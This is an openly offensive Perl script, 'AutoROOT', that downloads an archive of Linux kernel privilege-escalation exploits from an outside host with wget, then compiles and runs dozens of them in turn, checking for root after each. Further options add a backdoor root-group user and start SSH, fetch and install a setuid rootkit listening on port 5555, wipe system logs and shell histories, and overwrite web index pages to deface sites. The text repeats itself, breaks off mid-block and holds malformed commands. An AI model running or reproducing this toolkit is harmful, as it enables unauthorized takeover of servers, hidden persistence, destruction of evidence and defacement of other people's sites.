#!/usr/bin/perl
# Local kernel exploit root : 2001 - 2014 Priv8
# Email : BennyGun@Rocketmail.com
# Cyber Hacker Kediri | Pecinta sistem keamanan komputer.
print "#===================================================#\n";
print "| | AutoROOT By kill.ambu | |\n";
print "|======================[ usage ]=====================|\n";
print "| perl $0 -sudo (Starting Program) |\n";
print "| perl $0 -add (add user) |\n";
print "| perl $0 -rootkit (Backdooring rootkit) |\n";
print "| perl $0 -rm (Deleting system Logs) |\n";
print "| perl $0 -d (delete local root) |\n";
print "| perl $0 -c /tmp/index.html (path of deface) |\n";
print "#====================[ COMMAND ]===================#\n";
if ($ARGV[0] eq "-sudo")
{
system("mkdir chk");
chdir("chk");
system("wget targetinjektor.mywapblog.com/files/hello1337.txt -O xtar.tar.gz");
system("tar -xzvf xtar.tar.gz;rm -rf xtar.tar.gz;ls -al");
chdir("2001");
system("ls -a");
system("chmod 777 2k");
system("chmod 777 hudo.c");
system("./2k");
system("id;whoami");
system("gcc -o hudo hudo.c");
system("./hudo");
system("id;whoami");
chdir("2002");
system("chmod 777 3b");
system("chmod 777 4m");
system("chmod 777 dhcp-expl.c");
system("chmod 777 w00t.c");
system("./3b");
system("id;whoami");
system("./4m");
system("gcc -o dhcp-expl dhcp-expl.c");
system("./dhcp-expl");
system("id;whoami");
system("gcc -o w00t w00t.c");
system("./w00t");
system("id;whoami");
chdir("2003");
system("ls -a");
system("id;whoami");
system("chmod 777 2.4.22-2003");
system("chmod 777 2-4-21");
system("chmod 777 48local");
system("chmod 777 elflbl");
system("chmod 777 hatorihanzo.c");
system("chmod 777 ptrace-kmod.c");
system("./2.4.22-2003");
system("id;whoami");
system("./2-4-21");
system("id;whoami");
system("./48local");
system("id;whoami");
system("./elflbl");
system("id;whoami");
system("gcc -o hatorihanzo hatorihanzo.c");
system("./hatorihanzo");
system("id;whoami");
system("gcc -o ptrace-kmod ptrace-kmod.c");
system("./ptrace-kmod");
system("id;whoami");
chdir("2004");
system("chmod 777 2.6.13_17_0_2004");
system("chmod 777 elfcd2.c");
system("chmod 777 hping.c");
system("chmod 777 kernel.c");
system("chmod 777 mremap_pte.c");
system("chmod 777 pwned");
system("./2.6.13_17_0_2004");
system("id;whoami");
system("gcc -o elfcd2 elfcd2.c");
system("./elfcd2");
system("id;whoami");
system("gcc -o hping hping.c");
system("./hping");
system("id;whoami");
system("gcc -o kernel kernel.c");
system("./kernel");
system("id;whoami");
system("gcc -o mremap_pte mremap_pte.c");
system("./mremap_pte");
system("id;whoami");
system("./pwned");
system("id;whoami");
chdir("2005");
system("chmod 777 1.c");
system("chmod 777 2.6.9-2005");
system("chmod 777 2.6.13_17_2_2005");
system("chmod 777 2.6.27.7- 2.6.18 2.6.24");
system("chmod 777 binfmt_elf.c");
system("chmod 777 elfcd1.c");
system("chmod 777 ex_gpsd.c");
system("chmod 777 krad");
system("chmod 777 k-rad.c");
system("chmod 777 krad2");
system("chmod 777 k-rad3");
system("chmod 777 ong_bak.c");
system("gcc -o 1 1.c");
system("./1");
system("id;whoami");
system("./elfcd2");
system("id;whoami");
system("./2.6.9-2005");
system("id;whoami");
system("./2.6.13_17_2_2005");
system("id;whoami");
system("./2.6.27.7- 2.6.18 2.6.24");
system("id;whoami");
system("gcc -o binfmt_elf binfmt_elf.c");
system("./binfmt_elf");
system("id;whoami");
system("gcc -o elfcd1 elfcd1.c");
system("./elfcd1");
system("id;whoami");
system("gcc -o ex_gpsd ex_gpsd.c");
system("./ex_gpsd");
system("id;whoami");
system("./krad");
system("id;whoami");
system("gcc -o k-rad k-rad.c");
system("./k-rad");
system("id;whoami");
system("./krad2");
system("id;whoami");
system("./k-rad3");
system("id;whoami");
system("gcc -o ong_bak ong_bak.c");
system("./ong_bak");
system("id;whoami");
chdir("2006");
system("chmod 777 2.4.21-2006");
system("chmod 777 2.6.9-42.0.3.ELsmp-2006");
system("chmod 777 2.6.9-2006");
system("chmod 777 2.6.13_17_3_2006");
system("chmod 777 2.6.18");
system("chmod 777 2.6.18 - 2.6.25");
system("chmod 777 2.6.18.1");
system("chmod 777 2.6.181");
system("chmod 777 2.6.x_logrotate_2031");
system("chmod 777 2.c");
system("chmod 777 2618");
system("chmod 777 Linux-2-6-9");
system("chmod 777 m2");
system("chmod 777 prct1");
system("chmod 777 prct2.c");
system("chmod 777 prct3.c");
system("chmod 777 prct4");
system("chmod 777 prct6.c");
system("./2.4.21-2006");
system("id;whoami");
system("./2.6.9-42.0.3.ELsmp-2006");
system("id;whoami");
system("./2.6.9-2006");
system("id;whoami");
system("./2.6.13_17_3_2006");
system("id;whoami");
system("./2.6.18");
system("id;whoami");
system("./2.6.18 - 2.6.25");
system("id;whoami");
system("./2.6.18.1");
system("id;whoami");
system("./2.6.181");
system("id;whoami");
system("./2.6.x_logrotate_2031");
system("id;whoami");
system("gcc -o 2 2.c");
system("./2");
system("id;whoami");
system("./2618");
system("id;whoami");
system("./Linux-2-6-9");
system("id;whoami");
system("./m2");
system("id;whoami");
system("./prct1");
system("id;whoami");
system("gcc -o prct2 prct2.c");
system("./prct2");
system("id;whoami");
system("gcc -o prct3 prct3.c");
system("./prct3");
system("id;whoami");
system("./prct4");
system("id;whoami");
system("gcc -o prct6 prct6.c");
system("./prct6");
system("id;whoami");
chdir("2007");
system("chmod 777 2.6.9-55-2007");
system("chmod 777 2.6.11-2.6.24");
system("chmod 777 2.6.11-2007-priv8");
system("chmod 777 2.6.18.2");
system("chmod 777 2.6.18-8-2007");
system("chmod 777 2.6.22-2007");
system("chmod 777 2007");
system("chmod 777 compress");
system("chmod 777 compress_expl.c1");
system("chmod 777 gawk");
system("chmod 777 gawk_expl.c");
system("chmod 777 w00t.so.1.0");
system("./2.6.9-55-2007");
system("id;whoami");
system("./2.6.11-2.6.24");
system("id;whoami");
system("./2.6.11-2007-priv8");
system("id;whoami");
system("./2.6.18.2");
system("id;whoami");
system("./2.6.18-8-2007");
system("id;whoami");
system("./2.6.22-2007");
system("id;whoami");
system("./2007");
system("id;whoami");
system("./compress");
system("id;whoami");
system("gcc -o compress_expl compress_expl.c");
system("./compress_expl");
system("id;whoami");
system("./gawk");
system("id;whoami");
system("gcc -o gawk_expl gawk_expl.c");
system("./gawk_expl");
system("id;whoami");
system("./w00t.so.1.0");
system("id;whoami");
chdir("2008");
system("chmod 777 1-2008");
system("chmod 777 2.4.36.92.6.27.5 - 2008 Local root");
system("chmod 777 2.6.8-2008.9-67-2008");
system("chmod 777 2.6.9");
system("chmod 777 2.6.9-55-2008-prv8");
system("chmod 777 2.6.9-67-2008");
system("chmod 777 2.6.17-2.6.24.1");
system("chmod 777 2.6.17-18-19-20-24");
system("chmod 777 2.6.18");
system("chmod 777 2.6.18-92.1.22.el5.c");
system("chmod 777 2.6.22-4-686 2008");
system("chmod 777 2.6.23=2008");
system("chmod 777 2.6.24=2008");
system("chmod 777 16");
system("chmod 777 2008");
system("chmod 777 2008 2.6.18-92");
system("chmod 777 local.c");
system("chmod 777 local2");
system("/.1-2008");
system("id;whoami");
system("./2.4.36.92.6.27.5 - 2008 Local root");
system("id;whoami");
system("./2.6.8-2008.9-67-2008");
system("id;whoami");
system("./2.6.9");
system("id;whoami");
system("./2.6.9-55-2008-prv8");
system("id;whoami");
system("./2.6.9-67-2008");
system("id;whoami");
system("./2.6.17-2.6.24.1");
system("id;whoami");
system("./2.6.17-18-19-20-24");
system("id;whoami");
system("gcc -o 2.6.18-92.1.22.el5 2.6.18-92.1.22.el5.c");
system("id;whoami");
system("./2.6.18-92.1.22.el5");
system("id;whoami");
system("./2.6.22");
system("id;whoami");
system("./2.6.22-4-686 2008");
system("id;whoami");
system("./2.6.23=2008");
system("id;whoami");
system("./2.6.24=2008");
system("id;whoami");
system("./16");
system("id;whoami");
system("./2008");
system("id;whoami");
system("./2008 2.6.18-92");
system("id;whoami");
system("./gcc -o local local.c");
system("./local");
system("id;whoami");
system("./local2");
system("id;whoami");
chdir("2009");
system("chmod 777 1-2009");
system("chmod 777 2.4.AnD.2.6-2009");
system("chmod 777 2.6.17.c");
system("chmod 777 2.6.18-2009.c");
system("chmod 777 2.6.23-2009.c");
system("chmod 777 2.6.28-2009.c");
system("chmod 777 2.6.29.sh");
system("chmod 777 2-2009");
system("chmod 777 2009");
system("chmod 777 2009.6.18-164");
system("chmod 777 2009.6.24");
system("chmod 777 2009.6.31_2009");
system("chmod 777 dene");
system("chmod 777 exploit.c");
system("chmod 777 exploit-pulseaudio.c");
system("chmod 777 iskorpitx");
system("chmod 777 keris");
system("chmod 777 local-root-exploit-gayros.c");
system("chmod 777 r00t");
system("chmod 777 rad-e.c");
system("chmod 777 ror");
system("chmod 777 run");
system("chmod 777 runcon-mmap_zero");
system("chmod 777 sesearch-mmap_zero");
system("./1-2009");
system("id;whoami");
system("./2.4.AnD.2.6-2009");
system("id;whoami");
system("gcc -o 2.6.17 2.6.17.c");
system("./2.6.17");
system("id;whoami");
system("gcc -o 2.6.18-2009 2.6.18-2009.c");
system("./2.6.18-2009");
system("id;whoami");
system("gcc -o 2.6.23-2009 2.6.23-2009.c");
system("./2.6.23-2009");
system("id;whoami");
system("gcc -o 2.6.28-2009 2.6.28-2009.c");
system("./2.6.29.sh");
system("id;whoami");
system("./2-2009");
system("id;whoami");
system("./2009");
system("id;whoami");
system("./2009.6.18-164");
system("id;whoami");
system("./2009.6.24");
system("id;whoami");
system("./2009.6.31_2009");
system("id;whoami");
system("./dene");
system("id;whoami");
system("gcc -o exploit exploit.c");
system("./exploit");
system("id;whoami");
system("gcc -o exploit-pulseaudio exploit-pulseaudio.c");
system("./exploit-pulseaudio");
system("id;whoami");
system("./iskorpitx");
system("id;whoami");
system("./keris");
system("id;whoami");
system("./gcc -o local-root-exploit-gayros local-root-exploit-gayros.c");
system("./local-root-exploit-gayros");
system("id;whoami");
system("./r00t");
system("id;whoami");
system("gcc -o rad-e rad-e.c");
system("./rad-e");
system("id;whoami");
system("./ror");
system("id;whoami");
system("./run");
system("id;whoami");
system("./runcon-mmap_zero");
system("id;whoami");
system("./sesearch-mmap_zero");
chdir("2010");
system("chmod 777 2.6.2-2010.c");
system("chmod 777 2.6.9");
system("chmod 777 2.6.13-2010.c");
system("chmod 777 2.6.18 2010");
system("chmod 777 2.6.18 2010 x86_64");
system("chmod 777 2.6.18-128");
system("chmod 777 2.6.18-164-2010");
system("chmod 777 2.6.18-194.1-2010");
system("chmod 777 2.6.31 Localr00t Priv8 2010.c");
system("chmod 777 2.6.31-2010.c");
system("chmod 777 2.6.32.c");
system("chmod 777 2.6.xx");
system("chmod 777 2010");
system("chmod 777 2010-1");
system("chmod 777 abi.c");
system("chmod 777 ia32syscall");
system("chmod 777 local2627");
system("chmod 777 MOTD.c");
system("chmod 777 priv8-2.6.18-164-2010");
system("chmod 777 x86_84.c");
system("gcc -o 2.6.2-2010 2.6.2-2010.c");
system("./2.6.2-2010");
system("id;whoami");
system("./2.6.9");
system("id;whoami");
system("gcc -o 2.6.13-2010 2.6.13-2010.c");
system("./2.6.13-2010.c");
system("id;whoami");
system("./2.6.18 2010");
system("id;whoami");
system("./2.6.18 2010 x86_64");
system("id;whoami");
system("./2.6.18-128");
system("id;whoami");
system("./2.6.18-164-2010");
system("id;whoami");
system("./2.6.18-194.1-2010");
system("id;whoami");
system("gcc -o 2.6.31 Localr00t Priv8 2010 2.6.31 Localr00t Priv8 2010.c");
system("./2.6.31 Localr00t Priv8 2010.c");
system("id;whoami");
system("gcc -o 2.6.31-2010 2.6.31-2010.c");
system("./2.6.31-2010");
system("id;whoami");
system("gcc -o 2.6.32 2.6.32.c");
system("./2.6.32");
system("id;whoami");
system("./2.6.xx");
system("id;whoami");
system("./2010");
system("id;whoami");
system("./2010-1");
system("id;whoami");
system("gcc -o abi abi.c");
system("./abi");
system("id;whoami");
system("./ia32syscall");
system("id;whoami");
system("./local2627");
system("id;whoami");
system("gcc -o MOTD MOTD.c");
system("./MOTD.c");
system("id;whoami");
system("./priv8-2.6.18-164-2010");
system("id;whoami");
system("./gcc -o x86_84 x86_84.c");
system("./x86_84.c");
system("id;whoami");
chdir("2011");
system("chmod 777 2.6.18.c");
system("chmod 777 2.6.18_2011.c");
system("chmod 777 2.6.18-6-x86-2011");
system("chmod 777 2.6.18-274-2011");
system("chmod 777 2.6.28-2011");
system("chmod 777 2.6.33-2011");
system("chmod 777 2.6.34-2011");
system("chmod 777 2.6.37.c");
system("chmod 777 2.6.37-rc2.c");
system("chmod 777 2.6.43.2.c");
system("chmod 777 2-6-32-46-2011");
system("chmod 777 3.0.c");
system("chmod 777 6.4-2011");
system("chmod 777 2.6.18-6-x86-2011");
system("chmod 777 2.6.18-274-2011");
system("chmod 777 2.6.28-2011");
system("chmod 777 2.6.33-2011");
system("chmod 777 2.6.34-2011Exploit1");
system("chmod 777 2.6.34-2011Exploit2");
system("gcc -o 2.6.18 2.6.18.c");
system("./2.6.18.c");
system("id;whoami");
system("gcc -o 2.6.18_2011 2.6.18_2011.c");
system("./2.6.18_2011");
system("id;whoami");
system("./2.6.18-6-x86-2011");
system("id;whoami");
system("./2.6.18-274-2011");
system("id;whoami");
system("./2.6.28-2011");
system("id;whoami");
system("./2.6.33-2011");
system("id;whoami");
system("./2.6.34-2011");
system("id;whoami");
system("gcc -o 2.6.37 2.6.37.c");
system("./2.6.37.c");
system("id;whoami");
system("gcc -o 2.6.37-rc2 2.6.37-rc2.c");
system("./2.6.37-rc2.c");
system("id;whoami");
system("gcc -o 2.6.43.2 2.6.43.2.c");
system("./2.6.43.2.c");
system("id;whoami");
system("./2-6-32-46-2011");
system("id;whoami");
system("gcc -o 3.0 3.0.c");
system("./3.0.c");
system("id;whoami");
system("./6.4-2011");
system("id;whoami");
system("./z1d-2011");
system("id;whoami");
system("chmod 777 2.6.18-6-x86-2011");
system("id;whoami");
system("./2.6.18-274-2011");
system("id;whoami");
system("./2.6.28-2011");
system("id;whoami");
system("./2.6.33-2011");
system("id;whoami");
system("./2.6.34-2011Exploit1");
system("id;whoami");
system("./2.6.34-2011Exploit2");
system("id;whoami");
chdir("2012");
system("chmod 777 2.6.17_2.6.24");
system("chmod 777 2.6.18.1");
system("chmod 777 2.6.18.2012.c");
system("chmod 777 2.6.18-2.6.24-2.6.20-2.6.22-2.6.21.c");
system("chmod 777 2.6.18-194");
system("chmod 777 2.6.18-374.12.1.el5-2012");
system("chmod 777 2.6.33");
system("chmod 777 2.6.37");
system("chmod 777 2.6.37-rc2");
system("chmod 777 2-1");
system("chmod 777 2-6-37");
system("chmod 777 3");
system("chmod 777 4");
system("chmod 777 5");
system("chmod 777 7");
system("chmod 777 7-2");
system("chmod 777 7x");
system("chmod 777 8");
system("chmod 777 9");
system("chmod 777 10");
system("chmod 777 11");
system("chmod 777 13");
system("chmod 777 14");
system("chmod 777 16");
system("chmod 777 16-1");
system("chmod 777 18");
system("chmod 777 18-5");
system("chmod 777 31");
system("chmod 777 36-rc1");
system("chmod 777 44");
system("chmod 777 77");
system("chmod 777 89");
system("chmod 777 99");
system("chmod 777 0977");
system("chmod 777 15150");
system("chmod 777 15200");
system("chmod 777 a.boot");
system("chmod 777 a.out");
system("chmod 777 acid");
system("chmod 777 exp1");
system("chmod 777 exploit");
system("chmod 777 full-nelson");
system("chmod 777 gayros");
system("chmod 777 hudo.c");
system("chmod 777 krad313");
system("chmod 777 local-root-exploit-gayros");
system("chmod 777 pwnkernel");
system("chmod 777 root1");
system("chmod 777 runx");
system("chmod 777 sec.out");
system("chmod 777 tivoli");
system("chmod 777 tivoli");
system("chmod 777 ubuntu");
system("chmod 777 vmsplice-local-root-exploit");
system("./2.6.17_2.6.24");
system("id;whoami");
system("./2.6.18.1");
system("id;whoami");
system("gcc -o 2.6.18-2.6.24-2.6.20-2.6.22-2.6.21 2.6.18-2.6.24-2.6.20-2.6.22-2.6.21.c");
system("./2.6.18-2.6.24-2.6.20-2.6.22-2.6.21");
system("gcc -o 2.6.18.2012 2.6.18.2012.c");
system("./2.6.18.2012");
system("id;whoami");
system("./2.6.18-194");
system("id;whoami");
system("./2.6.18-374.12.1.el5-2012");
system("id;whoami");
system("./2.6.33");
system("id;whoami");
system("./2.6.37");
system("id;whoami");
system("./2.6.37-rc2");
system("id;whoami");
system("./2-1");
system("id;whoami");
system("./2-6-37");
system("id;whoami");
system("./3");
system("id;whoami");
system("./4");
system("id;whoami");
system("./5");
system("id;whoami");
system("./7");
system("id;whoami");
system("./7-2");
system("id;whoami");
system("./7x");
system("id;whoami");
system("./8");
system("id;whoami");
system("./9");
system("id;whoami");
system("./10");
system("id;whoami");
system("./11");
system("id;whoami");
system("./13x");
system("id;whoami");
system("./14");
system("id;whoami");
system("./16");
system("id;whoami");
system("./16-1");
system("id;whoami");
system("./18");
system("id;whoami");
system("./18-5");
system("id;whoami");
system("./31");
system("id;whoami");
system("./36-rc1");
system("id;whoami");
system("./44");
system("id;whoami");
system("./77");
system("id;whoami");
system("./89");
system("id;whoami");
system("./99");
system("id;whoami");
system("./0977");
system("id;whoami");
system("./15150");
system("id;whoami");
system("./15200");
system("id;whoami");
system("./a.boot");
system("id;whoami");
system("./a.out");
system("id;whoami");
system("./acid");
system("id;whoami");
system("./exp1");
system("id;whoami");
system("./exploit");
system("id;whoami");
system("./full-nelson");
system("id;whoami");
system("./gayros");
system("id;whoami");
system("gcc -o hudo hudo.c");
system("./hudo");
system("id;whoami");
system("./krad313");
system("id;whoami");
system("./local-root-exploit-gayros");
system("id;whoami");
system("./pwnkernel");
system("id;whoami");
system("./root1");
system("id;whoami");
system("./runx");
system("id;whoami");
system("./sec.out");
system("id;whoami");
system("./tivoli");
system("id;whoami");
system("./trolled");
system("id;whoami");
system("./ubuntu");
system("id;whoami");
system("./vmsplice-local-root-exploit");
chdir("2013");
system("chmod 777 2.6.17.4_2013");
system("chmod 777 2.6.32-2013");
system("chmod 777 a.boot");
system("chmod 777 2.6.37-3+-2013.c");
system("chmod 777 3.6,3.8.9-2013.c");
system("chmod 777 a2.out");
system("chmod 777 a.out");
system("chmod 777 sec.out");
system("chmod 777 trolled");
system("./2.6.17.4_2013");
system("id;whoami");
system("./2.6.32-2013");
system("id;whoami");
system("./a.boot");
system("id;whoami");
system("./a.out");
system("id;whoami");
system("./sec.out");
system("id;whoami");
system("gcc -o 2.6.37-3+-2013 2.6.37-3+-2013.c");
system("./2.6.37-3+-2013.c");
system("id;whoami");
system("gcc -o 3.6,3.8.9-2013 3.6,3.8.9-2013.c");
system("./3.6,3.8.9-2013.c");
system("id;whoami");
system("./a2.out");
system("id;whoami");
system("./trolled");
system("id;whoami");
system("./trolled");
chdir("other");
chdir("2014");
system("chmod 777 1-2");
system("chmod 777 2.6.18.371 2014.c");
system("chmod 777 3.4+.c");
system("chmod 777 a.boot");
system("chmod 777 c");
system("chmod 777 local.c");
system("./1-2");
system("id;whoami");
system("gcc -o 2.6.18.371 2014 2.6.18.371 2014.c");
system("./2.6.18.371 2014");
system("id;whoami");
system("gcc -o 3.4 3.4+.c");
system("./3.4");
system("id;whoami");
system("./a.boot");
system("id;whoami");
system("./c");
system("id;whoami");
system("gcc -o local local.c");
system("./local");
system("id;whoami");
print "#####################################\n";
print "# Chkroot V.1 #\n";
print "# Contact YM : kill.ambu #\n";
print "#####################################\n";
print "\nPlease Wait....";
print "\n./Done";
}
if ($ARGV[0] eq "-add")
{
print "Add User Root\n";
print "user : kill\n";
system "adduser -g 0 kill -G wheel,sys,bin,daemon,adm,disk -d /sf7 -s /bin/sh";
system "passwd chk01";
print "pass is : chk01\n";
print "Activate SSH Account..\n";
system("/etc/rc.d/init.d/sshd start");
print "./Done\n";
}
if ($ARGV[0] eq "-rm")
{
system("rm -rf /tmp/logs");
system("rm -rf /root/.ksh_history");
system("rm -rf /root/.bash_history");
system("rm -rf /root/.bash_logout");
system("rm -rf /usr/local/apache/logs");
system("rm -rf /usr/local/apache/log");
system("rm -rf /var/apache/logs");
system("rm -rf /var/apache/log");
system("rm -rf /var/run/utmp");
system("rm -rf /var/logs");
system("rm -rf /var/log");
system("rm -rf /var/adm");
system("rm -rf /etc/wtmp");
system("rm -rf /etc/utmp");
}
if ($ARGV[0] eq "-d")
{
system("rm -rf chk");
}
if ($ARGV[0] eq "-rootkit")
{
system("wget targetinjektor.mywapblog.com/files/chk.txt -O xtar.tar.gz");
system("tar -xzvf xtar.tar.gz;rm -rf xtar.tar.gz");
chdir(".rootkit");
system("chmod 4755 setup");
system("./setup chk 5555");
}
if ($ARGV[0] eq "-c")
{
if($ARGV[1]) {
system "find / -name \"index*\" -exec cp $ARGV[1] {} \\;";
system "find / -name \"main*\" -exec cp $ARGV[1] {} \\;";
system "find / -name \"home*\" -exec cp $ARGV[1] {} \\;";
system "find / -name \"default*\" -exec cp $ARGV[1] {} \\;";
} else { print "path of deface...\n"; exit; }
}
if ($ARGV[0] eq "-info")
{
system("wget ");
system("rm -rf chk");
}
# Local kernel exploit root : 2001 - 2014 Priv8
# Email : BennyGun@Rocketmail.com
# Cyber Hacker Kediri | Pecinta sistem keamanan komputer.
print "#===================================================#\n";
print "| | AutoROOT By kill.ambu | |\n";
print "|======================[ usage ]=====================|\n";
print "| perl $0 -sudo (Starting Program) |\n";
print "| perl $0 -add (add user) |\n";
print "| perl $0 -rootkit (Backdooring rootkit) |\n";
print "| perl $0 -rm (Deleting system Logs) |\n";
print "| perl $0 -d (delete local root) |\n";
print "| perl $0 -c /tmp/index.html (path of deface) |\n";
print "#====================[ COMMAND ]===================#\n";
if ($ARGV[0] eq "-sudo")
{
system("mkdir chk");
chdir("chk");
system("wget targetinjektor.mywapblog.com/files/hello1337.txt -O xtar.tar.gz");
system("tar -xzvf xtar.tar.gz;rm -rf xtar.tar.gz;ls -al");
chdir("2001");
system("ls -a");
system("chmod 777 2k");
system("chmod 777 hudo.c");
system("./2k");
system("id;whoami");
system("gcc -o hudo hudo.c");
system("./hudo");
system("id;whoami");
chdir("2002");
system("chmod 777 3b");
system("chmod 777 4m");
system("chmod 777 dhcp-expl.c");
system("chmod 777 w00t.c");
system("./3b");
system("id;whoami");
system("./4m");
system("gcc -o dhcp-expl dhcp-expl.c");
system("./dhcp-expl");
system("id;whoami");
system("gcc -o w00t w00t.c");
system("./w00t");
system("id;whoami");
chdir("2003");
system("ls -a");
system("id;whoami");
system("chmod 777 2.4.22-2003");
system("chmod 777 2-4-21");
system("chmod 777 48local");
system("chmod 777 elflbl");
system("chmod 777 hatorihanzo.c");
system("chmod 777 ptrace-kmod.c");
system("./2.4.22-2003");
system("id;whoami");
system("./2-4-21");
system("id;whoami");
system("./48local");
system("id;whoami");
system("./elflbl");
system("id;whoami");
system("gcc -o hatorihanzo hatorihanzo.c");
system("./hatorihanzo");
system("id;whoami");
system("gcc -o ptrace-kmod ptrace-kmod.c");
system("./ptrace-kmod");
system("id;whoami");
chdir("2004");
system("chmod 777 2.6.13_17_0_2004");
system("chmod 777 elfcd2.c");
system("chmod 777 hping.c");
system("chmod 777 kernel.c");
system("chmod 777 mremap_pte.c");
system("chmod 777 pwned");
system("./2.6.13_17_0_2004");
system("id;whoami");
system("gcc -o elfcd2 elfcd2.c");
system("./elfcd2");
system("id;whoami");
system("gcc -o hping hping.c");
system("./hping");
system("id;whoami");
system("gcc -o kernel kernel.c");
system("./kernel");
system("id;whoami");
system("gcc -o mremap_pte mremap_pte.c");
system("./mremap_pte");
system("id;whoami");
system("./pwned");
system("id;whoami");
chdir("2005");
system("chmod 777 1.c");
system("chmod 777 2.6.9-2005");
system("chmod 777 2.6.13_17_2_2005");
system("chmod 777 2.6.27.7- 2.6.18 2.6.24");
system("chmod 777 binfmt_elf.c");
system("chmod 777 elfcd1.c");
system("chmod 777 ex_gpsd.c");
system("chmod 777 krad");
system("chmod 777 k-rad.c");
system("chmod 777 krad2");
system("chmod 777 k-rad3");
system("chmod 777 ong_bak.c");
system("gcc -o 1 1.c");
system("./1");
system("id;whoami");
system("./elfcd2");
system("id;whoami");
system("./2.6.9-2005");
system("id;whoami");
system("./2.6.13_17_2_2005");
system("id;whoami");
system("./2.6.27.7- 2.6.18 2.6.24");
system("id;whoami");
system("gcc -o binfmt_elf binfmt_elf.c");
system("./binfmt_elf");
system("id;whoami");
system("gcc -o elfcd1 elfcd1.c");
system("./elfcd1");
system("id;whoami");
system("gcc -o ex_gpsd ex_gpsd.c");
system("./ex_gpsd");
system("id;whoami");
system("./krad");
system("id;whoami");
system("gcc -o k-rad k-rad.c");
system("./k-rad");
system("id;whoami");
system("./krad2");
system("id;whoami");
system("./k-rad3");
system("id;whoami");
system("gcc -o ong_bak ong_bak.c");
system("./ong_bak");
system("id;whoami");
chdir("2006");
system("chmod 777 2.4.21-2006");
system("chmod 777 2.6.9-42.0.3.ELsmp-2006");
system("chmod 777 2.6.9-2006");
system("chmod 777 2.6.13_17_3_2006");
system("chmod 777 2.6.18");
system("chmod 777 2.6.18 - 2.6.25");
system("chmod 777 2.6.18.1");
system("chmod 777 2.6.181");
system("chmod 777 2.6.x_logrotate_2031");
system("chmod 777 2.c");
system("chmod 777 2618");
system("chmod 777 Linux-2-6-9");
system("chmod 777 m2");
system("chmod 777 prct1");
system("chmod 777 prct2.c");
system("chmod 777 prct3.c");
system("chmod 777 prct4");
system("chmod 777 prct6.c");
system("./2.4.21-2006");
system("id;whoami");
system("./2.6.9-42.0.3.ELsmp-2006");
system("id;whoami");
system("./2.6.9-2006");
system("id;whoami");
system("./2.6.13_17_3_2006");
system("id;whoami");
system("./2.6.18");
system("id;whoami");
system("./2.6.18 - 2.6.25");
system("id;whoami");
system("./2.6.18.1");
system("id;whoami");
system("./2.6.181");
system("id;whoami");
system("./2.6.x_logrotate_2031");
system("id;whoami");
system("gcc -o 2 2.c");
system("./2");
system("id;whoami");
system("./2618");
system("id;whoami");
system("./Linux-2-6-9");
system("id;whoami");
system("./m2");
system("id;whoami");
system("./prct1");
system("id;whoami");
system("gcc -o prct2 prct2.c");
system("./prct2");
system("id;whoami");
system("gcc -o prct3 prct3.c");
system("./prct3");
system("id;whoami");
system("./prct4");
system("id;whoami");
system("gcc -o prct6 prct6.c");
system("./prct6");
system("id;whoami");
chdir("2007");
system("chmod 777 2.6.9-55-2007");
system("chmod 777 2.6.11-2.6.24");
system("chmod 777 2.6.11-2007-priv8");
system("chmod 777 2.6.18.2");
system("chmod 777 2.6.18-8-2007");
system("chmod 777 2.6.22-2007");
system("chmod 777 2007");
system("chmod 777 compress");
system("chmod 777 compress_expl.c1");
system("chmod 777 gawk");
system("chmod 777 gawk_expl.c");
system("chmod 777 w00t.so.1.0");
system("./2.6.9-55-2007");
system("id;whoami");
system("./2.6.11-2.6.24");
system("id;whoami");
system("./2.6.11-2007-priv8");
system("id;whoami");
system("./2.6.18.2");
system("id;whoami");
system("./2.6.18-8-2007");
system("id;whoami");
system("./2.6.22-2007");
system("id;whoami");
system("./2007");
system("id;whoami");
system("./compress");
system("id;whoami");
system("gcc -o compress_expl compress_expl.c");
system("./compress_expl");
system("id;whoami");
system("./gawk");
system("id;whoami");
system("gcc -o gawk_expl gawk_expl.c");
system("./gawk_expl");
system("id;whoami");
system("./w00t.so.1.0");
system("id;whoami");
chdir("2008");
system("chmod 777 1-2008");
system("chmod 777 2.4.36.92.6.27.5 - 2008 Local root");
system("chmod 777 2.6.8-2008.9-67-2008");
system("chmod 777 2.6.9");
system("chmod 777 2.6.9-55-2008-prv8");
system("chmod 777 2.6.9-67-2008");
system("chmod 777 2.6.17-2.6.24.1");
system("chmod 777 2.6.17-18-19-20-24");
system("chmod 777 2.6.18");
system("chmod 777 2.6.18-92.1.22.el5.c");
system("chmod 777 2.6.22-4-686 2008");
system("chmod 777 2.6.23=2008");
system("chmod 777 2.6.24=2008");
system("chmod 777 16");
system("chmod 777 2008");
system("chmod 777 2008 2.6.18-92");
system("chmod 777 local.c");
system("chmod 777 local2");
system("/.1-2008");
system("id;whoami");
system("./2.4.36.92.6.27.5 - 2008 Local root");
system("id;whoami");
system("./2.6.8-2008.9-67-2008");
system("id;whoami");
system("./2.6.9");
system("id;whoami");
system("./2.6.9-55-2008-prv8");
system("id;whoami");
system("./2.6.9-67-2008");
system("id;whoami");
system("./2.6.17-2.6.24.1");
system("id;whoami");
system("./2.6.17-18-19-20-24");
system("id;whoami");
system("gcc -o 2.6.18-92.1.22.el5 2.6.18-92.1.22.el5.c");
system("id;whoami");
system("./2.6.18-92.1.22.el5");
system("id;whoami");
system("./2.6.22");
system("id;whoami");
system("./2.6.22-4-686 2008");
system("id;whoami");
system("./2.6.23=2008");
system("id;whoami");
system("./2.6.24=2008");
system("id;whoami");
system("./16");
system("id;whoami");
system("./2008");
system("id;whoami");
system("./2008 2.6.18-92");
system("id;whoami");
system("./gcc -o local local.c");
system("./local");
system("id;whoami");
system("./local2");
system("id;whoami");
chdir("2009");
system("chmod 777 1-2009");
system("chmod 777 2.4.AnD.2.6-2009");
system("chmod 777 2.6.17.c");
system("chmod 777 2.6.18-2009.c");
system("chmod 777 2.6.23-2009.c");
system("chmod 777 2.6.28-2009.c");
system("chmod 777 2.6.29.sh");
system("chmod 777 2-2009");
system("chmod 777 2009");
system("chmod 777 2009.6.18-164");
system("chmod 777 2009.6.24");
system("chmod 777 2009.6.31_2009");
system("chmod 777 dene");
system("chmod 777 exploit.c");
system("chmod 777 exploit-pulseaudio.c");
system("chmod 777 iskorpitx");
system("chmod 777 keris");
system("chmod 777 local-root-exploit-gayros.c");
system("chmod 777 r00t");
system("chmod 777 rad-e.c");
system("chmod 777 ror");
system("chmod 777 run");
system("chmod 777 runcon-mmap_zero");
system("chmod 777 sesearch-mmap_zero");
system("./1-2009");
system("id;whoami");
system("./2.4.AnD.2.6-2009");
system("id;whoami");
system("gcc -o 2.6.17 2.6.17.c");
